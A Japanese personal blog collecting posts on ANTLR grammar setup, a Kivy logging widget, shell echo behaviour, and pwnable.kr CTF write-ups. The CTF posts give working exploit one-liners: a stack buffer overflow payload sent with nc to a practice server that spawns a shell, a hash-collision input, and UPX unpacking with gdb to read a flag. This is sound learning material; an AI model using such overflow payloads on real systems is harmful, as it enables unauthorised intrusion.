ANTLR使ってみたよ

ANTLRっていうパーサジェネレータ使ってみた。
ANT(i)LR の意味も含んであるらしい(wiki)。
プリプロセッサを考えてみようかなって思って、ちょっと触ってみた。

環境

Intelli J idea UE
ANTLR v4 4.7.1
gradle 4.9
java 10

環境設定

gradleのantlrプラグインがあるので、そいつを入れる。

// build.gradle
apply plugin : 'antlr'

ライブラリの追加

dependencies {
    testCompile group: 'junit', name: 'junit', version: '4.12'
    antlr "org.antlr:antlr4:4.7.1"
}

testCompileは使わないので、入れなくてもどちらでもいいです。
Intelli J のプラグインのANTLRv4のプラグインがあります。

plugins.jetbrains.com

これも入れる。
OS X ならpreference->pluginの検索タブからANTLRを入力してリポジトリからインストール。これを入れるとシンタックスハイライトとリアルタイムツリープレビューができる。

試し書き

gradleのプラグインを入れるとsrc/mainにantlrというフォルダができる。ここに、g4という拡張子のファイルを置く。
今回はLang.g4というファイルを作ってみた。

以下、Lang.g4

grammar Lang;
/*
@header {
    package sample ;
}
*/

/*
 * Parser Rules
 */

input       : stmt+ EOF ;
stmt        : ((assign | expr) (STMTSEP stmt)? NEWLINE?) | NEWLINE | STMTSEP ;
assign      : ID EQUAL (assign | expr) ;
expr        : ((ID | INTEGER) (unop expr)?) ;
unop        : (PLUS | MINUS | STAR | DIV) ;

/*
 * Lexer Rules
 */

fragment LOWERCASE     : [a-z] ;
fragment UPPERCASE     : [A-Z] ;
fragment DIGIT         : [0-9] ;

ID        : (LOWERCASE | UPPERCASE | '_')+ ;
INTEGER     : ('+' | '-')? DIGIT+ ;
SPACE       : (' ' | '¥t' | ',' | '¥n') -> skip ;
EQUAL       : '=' ;
MINUS       : '-' ;
PLUS        : '+' ;
STAR        : '*' ;
DIV         : '/' ;
NEWLINE     : ('¥r'? '¥n') | '¥r' ;
STMTSEP     : ';' ;

Intelli J のプラグインを入れておくと、ウィンドウ下にpreviewというタブがでる。
エディターのパーサールールの名前のところで右クリック->Test Rule XXをクリックするとpreviewに入力したのを解析してグラフにしてくれる。

f:id:b1u3:20180813095353p:plain

他はIntelli J のターミナルプラグインを用いて、以下をbuild.gradleに追加して、runする。

apply plugin: 'application'
...
mainClassName = "org.antlr.v4.gui.TestRig"
...
//gradle 4.8 以下のためのコマンドライン引数を渡す処理
run{
    standardInput = System.in
    if(project.hasProperty("args")){
        //スペースで分割
        args project.args.split(" ")
    }
}

実行。
gui出力。

% gradle run --args "Lang input --gui"
% gradle run --Pargs="Lang input --gui"

コンソール出力。

% gradle run --args "Lang input --tokens"
% gradle run --Pargs="Lang input --tokens"

gradle 4.8 以下と 4.9 での書き方。

問題点

文法ファイルの書式がイマイチなのでよくわかんないのと、いい書き方みたいのがまだわかんないからそこらへんを調べてみたい。

pwnable.kr(4)

pwnable.krの4記事目。
linuxの仮想環境立てるのがめんどくさくておくれてしまいました。

pwnable.kr

まず、添付されてるフラグをダウンロードする。

[b1u3 Downloads]$ sudo u+x ./flag
[b1u3 Downloads]$ ./flag
I will malloc() and strcpy the flag there. take it.

オォン。

[b1u3 Downloads]$ objdump -d flag

flag:     ファイル形式 elf64-x86-64

!!!??。
stringsやってもなんかめぼしいのが出なかった。

こっからは調べました!!!

参考にしたのはgoogleで検索してgithubにまとめてあったやつ。

github.com

なんで逆アセンブルできなかったんだろうっていう疑問がここで解決した。
UPXっていうフリーのパッカーを使ってるようだ。
UPXの問題はセキュリティコンテストチャレンジブックに載ってたと思う。

http://amzn.asia/c0mKeYM

美しき策謀のほうだったかな。どっちかわすれました。

UPXをインストールして、解凍する。

[b1u3 Downloads]$ sudo pacman -S upx
[b1u3 Downloads]$ upx -d flag -o flag_decompressed
[b1u3@localhost]$ readelf -s flag_decompressed |grep main
    51: 00000000006c27c0  2184 OBJECT  LOCAL  DEFAULT   26 main_arena
   395: 00000000006c5580     8 OBJECT  LOCAL  DEFAULT   27 _nl_loaded_domains
   916: 0000000000494f60   214 FUNC    GLOBAL DEFAULT    7 _nl_unload_domain
   934: 000000000041dac0  5900 FUNC    GLOBAL DEFAULT    6 _nl_load_domain
  1017: 00000000006c60e0     8 OBJECT  GLOBAL DEFAULT   27 _nl_domain_bindings
  1193: 0000000000430b80    49 FUNC    GLOBAL DEFAULT    6 _IO_switch_to_main_wget_a
  1301: 000000000041d830   645 FUNC    GLOBAL DEFAULT    6 _nl_find_domain
  1600: 0000000000401164    61 FUNC    GLOBAL DEFAULT    6 main
  1719: 00000000004ae998     5 OBJECT  GLOBAL DEFAULT   10 _libc_intl_domainname
  1760: 0000000000494f10    73 FUNC    GLOBAL DEFAULT    7 _nl_finddomain_subfreeres
  1938: 00000000004011b0   590 FUNC    GLOBAL DEFAULT    6 __libc_start_main
  2043: 0000000000402d80    43 FUNC    GLOBAL DEFAULT    6 _IO_switch_to_main_get_ar

mainシンボルがちゃんとある。
こっから、

[b1u3 Downloads]$ gdb flag_decompressed -q
Reading symbols from flag_decompressed...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/b1u3/Downloads/flag_decompressed 
I will malloc() and strcpy the flag there. take it.
[Inferior 1 (process 30254) exited normally]
(gdb) disass
No frame selected.
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000401164 <+0>:	push   %rbp
   0x0000000000401165 <+1>:	mov    %rsp,%rbp
   0x0000000000401168 <+4>:	sub    $0x10,%rsp
   0x000000000040116c <+8>:	mov    $0x496658,%edi
   0x0000000000401171 <+13>:	callq  0x402080 <puts>
   0x0000000000401176 <+18>:	mov    $0x64,%edi
   0x000000000040117b <+23>:	callq  0x4099d0 <malloc>
   0x0000000000401180 <+28>:	mov    %rax,-0x8(%rbp)
   0x0000000000401184 <+32>:	mov    0x2c0ee5(%rip),%rdx        # 0x6c2070 <flag>
   0x000000000040118b <+39>:	mov    -0x8(%rbp),%rax
   0x000000000040118f <+43>:	mov    %rdx,%rsi
   0x0000000000401192 <+46>:	mov    %rax,%rdi
   0x0000000000401195 <+49>:	callq  0x400320
   0x000000000040119a <+54>:	mov    $0x0,%eax
   0x000000000040119f <+59>:	leaveq 
   0x00000000004011a0 <+60>:	retq   
End of assembler dump.
(gdb) x/10xb
Argument required (starting display address).
(gdb) x/10xb 0x6c2070
0x6c2070 <flag>:	0x28	0x66	0x49	0x00	0x00	0x00	0x00	0x00
0x6c2078:	0x00	0x00
(gdb) e/s 0x496628
Ambiguous command "e/s 0x496628": .
(gdb) x/s 0x496628

ところどころコマンドミスってるけど気にしないでほしい。

コマンドの説明すると、

gdbを-qで起動時の余計な出力を省いて起動する。
一度実行 r(run) する。
mainフレームを逆アセンブルする。
謎のコメントがあるので、そのアドレスに格納されている値を調べる x(examine)/10(10個)x(16進数で)b(バイト単位で)。
0x6c2070の0x28 0x66 0x49をリトルエンディアンのアドレスとして(0x496628)、x(examine)/x(stringで) 調べる。

これで、フラグが出た。やったぜ!!!

pwnable.kr(3)

ちょっと間が空いて2つ目の記事で終わりそうでした。僕もあまり続くようなたちではないんですけど、頑張ってみようと思います。身になると信じて。

bof

pwnable.krの3つ目の問題です。netcat系の問題ですね。

nc pwnable.kr 9000

を実行して適当に入れるとoverflow me...が出る。
そのあとは、先にソースコードを見た。ソースコードから得られるのは、まず何を入力すればいいのかということ。
関数funcは0xdeadbeefの引数で呼ばれている。引数がpushされて呼ばれているくさいので、当分の目標はpushされた引数をgetsによる変数overflowmeへの書き込みによって上書きするというもの。入力する値は、適当な文字列(少なくとも32文字以上)+¥xbe¥xba¥xfe¥xca。後半部分は、0xcafebabeのリトルエンディアン表記。んで、適当な文字列を何文字入れれば良いのかということなんだけど。
バイナリ見てみる。

% objdump --arch-name=x86 -d bof

まず、mainをみる。

main:
     68a:	55 	pushl	%ebp
     68b:	89 e5 	movl	%esp, %ebp
     68d:	83 e4 f0 	andl	$-16, %esp
     690:	83 ec 10 	subl	$16, %esp
     693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)
     69a:	e8 8d ff ff ff 	calll	-115 <func>
     69f:	b8 00 00 00 00 	movl	$0, %eax
     6a4:	c9 	leave
     6a5:	c3 	retl
     6a6:	90 	nop

693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)

この部分を見て、deadbeefがスタックに積まれている事がわかる。
その次の行でfuncを呼び出してる。
funcは

func:
     62c:	55 	pushl	%ebp
     62d:	89 e5 	movl	%esp, %ebp
     62f:	83 ec 48 	subl	$72, %esp
     632:	65 a1 14 00 00 00 	movl	%gs:20, %eax
     638:	89 45 f4 	movl	%eax, -12(%ebp)
     63b:	31 c0 	xorl	%eax, %eax
     63d:	c7 04 24 8c 07 00 00 	movl	$1932, (%esp)
     644:	e8 fc ff ff ff 	calll	-4 <func+0x19>
     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl	$3405691582, 8(%ebp)
     65b:	75 0e 	jne	14 <func+0x3F>
     65d:	c7 04 24 9b 07 00 00 	movl	$1947, (%esp)
     664:	e8 fc ff ff ff 	calll	-4 <func+0x39>
     669:	eb 0c 	jmp	12 <func+0x4B>
     66b:	c7 04 24 a3 07 00 00 	movl	$1955, (%esp)
     672:	e8 fc ff ff ff 	calll	-4 <func+0x47>
     677:	8b 45 f4 	movl	-12(%ebp), %eax
     67a:	65 33 05 14 00 00 00 	xorl	%gs:20, %eax
     681:	74 05 	je	5 <func+0x5C>
     683:	e8 fc ff ff ff 	calll	-4 <func+0x58>
     688:	c9 	leave
     689:	c3 	retl

どこが変数overflowなのか探すために、比較しているところをみる。

     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl $3405691582, 8(%ebp)

ここ。eax = ebp-44 で、この値をスタックにおいてから、getsを呼んでる。したがって、ebp-44がoverflowの先頭だっていう事がわかる。また、cmplからebp+8がfuncの引数keyって事がわかる。したがって、ebp-44からebp+8までの差ebp+8-(ebp-44)=52が適当な文字列の長さ。これに付け加えれば良い。
したがって、入力するコードが

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

となる。このあとは、シェルが起動しているので、

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag

でフラグがでます。

pwnable.kr(2)

布教用兼確認の2記事目

http://pwnable.kr

col

2つ目の問題。

col@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col
-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c
-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag

MD5って書いてあったから多分、ソースコードcol.cのlongのハッシュコードがMD5なんだと思う。16バイト(128ビット)だし。MD5アルゴリズムとは何にも関係なさそう。

ソースコードを見てみると、プログラムの引数に値を渡すタイプだって事がわかる。長さは20じゃないとダメ。

	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

長さが20でもcheck_passwordの戻り値と定数hashcodeが同じじゃないとダメ。
check_passwordは20バイトの文字列を先頭から4バイトずつリトルエンディアンの整数として5回足すというもの。

unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

この戻り値をhashcodeに合わせれば良い。合わせるパターンはいくらでもあるけど、¥x00(ヌル文字)とかは文字列が終了して使えなかったり、アラームとかも使えないんじゃないかって思ったりするので、そういうところは気をつける。
今回は、hashcodeを5で割って最後のにオフセットをつける。hashcodeは0x21DD09ECっていうことを踏まえて、算出する。python3のインタプリターで。

>>> from struct import pack
>>> pack('i',0x21DD09EC//5)
b'\xc8\xce\xc5\x06'
>>> pack('i',0x21DD09EC//5+0x21DD09EC%5)
b'\xcc\xce\xc5\x06'

これで準備は整った。
ぶち込んでやるぜぇ。

col@ubuntu:~$ ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`

おしまい。

pwnable.kr (1)

CTF布教用の記事。

http://pwnable.kr
pwnable.krというサイトがあります。最初の方は初心者向けだと思います。pwnable.twっていうのもあります。両方、CTF(pwn)の練習になると思います。ブログに書きやすそうなものが最近ないので(規模がでかいため)CTFっぽいのも練習がてらやっていこうと思います。

そんなわけで、ちょっとずつやって行こうと思います。個人的にスクリプトを実行するのが弱いと思っているので、練習がてら 1 行で達成していくのが目標です。

ちなみに既に writeup が出ているのでそれを見てやったのか判断するのは読者次第です(笑)

それでは 爆走兄弟 レッツ & ゴー

fd

ネタバレだから、自分でやろうとする人はこっから見ないでね!!!!!!!!!!

一番最初のやつです。

fd@ubuntu:~$ ls
fd  fd.c  flag
fd@ubuntu:~$ cat flag
cat: flag: Permission denied
fd@ubuntu:~$ ll
ll: command not found
fd@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c
-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag

こんな感じになってる。今回は、fd.cを直接見た。
fd 完全に file descriptor ことだね。システムコール使うopenとかはFILE構造体じゃなくてだいたいfdを使ったりする(豆)
重要なのはfdが0は標準入力を表すってこと。1は出力で2 はerrだったかな。
これは調べることなく一発で出せた。簡単。llないの不便だよね。aliasでいつもつけます。

$ echo LETMEWIN | ./fd `python -c "print 0x1234"`

これで出るね。というか出た。

四苦八苦はしてないけど、Hackっぽさはあるんじゃない?

ちょっと疑問に思ったことを調べた

echo の n オプションがスクリプト書くと反映されていなかった。なので、ちょっと調べた

% which echo
echo: shell built-in command
% cat > test.sh && chmod u+x test.sh && ./test.sh
which echo
/bin/echo

そもそも違うechoが実行されていたようだ。
ちなみに

% echo ${SHELL}
/usr/local/bin/zsh

である。
結果としてbuilt-inのechoは-nが使える。

#! /usr/local/bin/zsh
# test.sh with zsh
echo -n test
echo test
% ./test.sh
testtest

でもshだと

#! /bin/sh
# test.sh with sh
echo -n test
echo test
% ./test.sh
-n test
test

kivyのログを出力するTextInputをつくってみた

タイトルではわかりにくいけど、kivyのログを反映するTextInputをつくってみたが正しいのではないかと思う。

方法

今回は、kivyのLoggerにStreamHandlerを追加して反映させることにした。委譲のAdapterっぽい感じでio.TextIOBaseを継承するTextInputIOなるものをつくり、必要なものを実装していった。

テスト

import unittest

from kivy.uix.textinput import TextInput

from app.TextInputIO import TextInputIO


class TextInputIOTestCase(unittest.TestCase):
    """
    Test for TextInputIO class
    """

    def setUp(self):
        self.text_input = TextInput()

    def test_as_context_manager(self):
        with TextInputIO(self.text_input) as f:
            pass

    def test_open_close(self):
        f = TextInputIO(self.text_input)
        f.close()

    def test_write(self):
        f = TextInputIO(self.text_input)
        f.write('TESTING TEXT INPUT\n')
        f.close()

    def test_non_readable(self):
        f = TextInputIO(self.text_input)
        self.assertRaises(OSError, f.read)
        f.close()

    def test_non_seekable(self):
        f = TextInputIO(self.text_input)
        self.assertRaises(OSError,f.seek)
        f.close()

    def test_isatty(self):
        f = TextInputIO(self.text_input)
        self.assertEqual(f.isatty(), False)
        f.close()

こんな感じで書いた。

実装

from io import TextIOBase


class TextInputIO(TextIOBase):
    """
    IO for Logger. Using TextInput as file.
    """
    def __init__(self,text_input):
        super().__init__()
        self.text_input = text_input

    def isatty(self):
        return False

    def readable(self):
        return False

    def writable(self):
        return True

    def seekable(self):
        return False

    def write(self, s):
        self.text_input.text += s

    def writelines(self, lines):
        if not isinstance(lines,list):
            raise TypeError('list')
        for s in lines:
            if not isinstance(s,str):
                raise TypeError('str')
            self.write(s)

    def close(self):
        super().close()
        self.text_input = None

バッファとかないしどうしようかなと思ったりしてた。テストに書いたように__enter__と__exit__を継承してないけど、コンテキストマネージャとして動いた。多分、親のを呼び出してるんだと思う。

使ってみた

from kivy import Logger
from kivy.app import App
from kivy.uix.button import Button
import logging
from logging import StreamHandler

from kivy.uix.gridlayout import GridLayout
from kivy.uix.textinput import TextInput

from app.TextInputIO import TextInputIO

logger = Logger
logger.setLevel(logging.DEBUG)

text_input = TextInput()
text_input_io = TextInputIO(text_input)
sh = StreamHandler(text_input_io)
fh = logging.FileHandler('app.log')
logger.addHandler(fh)


def pressed(view):
    logger.info('Application: Button was pressed!!')


class MainScreen(GridLayout):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.cols = 1
        b = Button(text="Button")
        b.bind(on_press=pressed)
        self.add_widget(b)
        self.add_widget(text_input)
        logger.addHandler(sh)


class TestApp(App):
    def build(self):
        return MainScreen()


if __name__ == '__main__':
    TestApp().run()

テスト実行用にこんなの書いた。最初、別のロガーを使っていたのでグローバルなところにロガーの設定があるけど気にしないでほしい。

f:id:b1u3:20180621190844p:plain

そこそこ動いた。多分問題点として、スレッドセーフじゃないと思う。あとTextInputを追加する前にloggerにハンドラとして追加すると強制終了する。追加は遅延させないとダメかなと。したがって、最初のGLとかのログメッセージは反映されない。あと、最初のカラムのINFOとかが出なかった。logging.BASIC_FORMATをハンドラに設定しても解析されなかった。

やってみて思ったこと

まだまだ調べることが多そうだなって思った。最近ブログを更新する気がだいぶ出てきたので、この調子でやっていきたいなぁって。